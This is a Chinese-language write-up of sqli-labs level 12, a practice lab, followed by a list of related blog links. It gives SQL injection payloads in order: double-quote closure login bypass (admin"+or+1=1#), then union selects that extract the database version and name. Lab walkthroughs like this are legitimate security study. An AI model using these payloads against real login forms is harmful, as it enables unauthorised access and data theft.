sqllab第十二关通关笔记

知识点:

  • 一般字符型注入分类
    • 单引号闭合
    • 双引号闭合
  • 这是一个双引号闭合

看界面又是一个输入框的注入;通过admin admin进行登录发现页面还是有回显

直接使用万能密码尝试

构造payload:username=admin'or1=1

没有任何反应;可能是没加注释符的关闭

构造username=admin'or+1=1#

发现还是没有任何回显信息;第一反应是特殊字符过滤??;或许是单引号的问题

使用双引号试一下

构造payload:username=admin"or+1=1

发现有了报错信息;发现原始语句应该是where username=("输入内容") and passwd=

好好好;知道了原始语句就可以绕过了

构造payload:username=admin"+or+1=1#

页面成功打印出了用户信息

接下来尝试进行联合注入

构造payload:username=a"+union+select+1,2#

成功打印出了输入的信息

接下来获取对应数据库的版本信息和数据库名

构造payload:username=a"+union+select+version(),database()#

成功获取了数据库名和版本信息;

到这里就结束了;具体的敏感信息就不获取了,实际操作和第十一关一样

10

相关推荐
秦哈哈1 小时前
【Hello Agents】学习笔记(二)
笔记·学习·microsoft
风早爽太2 小时前
Flutter 开发笔记:share_plus 分享插件
笔记·flutter
宵时待雨2 小时前
linux笔记归纳19:网络层协议IP
linux·网络·笔记·网络协议·tcp/ip
javgo.cn3 小时前
Markune:一个开源的 Local-first Markdown 工作区
笔记·编辑器
逆境不可逃3 小时前
Pi Agent 学习笔记:不同模型如何接入同一套工具循环
笔记·学习
♪飙♪4 小时前
电气笔记——表的认识
笔记
PC2005-cloud4 小时前
Rust学习笔记:所有权、借用与生命周期——Rust的核心机制
笔记·学习·rust
弘毅 失败的 mian4 小时前
数组和指针基础
c语言·开发语言·经验分享·笔记
问心无愧05135 小时前
ctf show web 177
前端·笔记
kaixin_啊啊7 小时前
中国研究生数学建模竞赛(华为杯)学习笔记——三维瀑布图绘图代码
笔记·学习·数学建模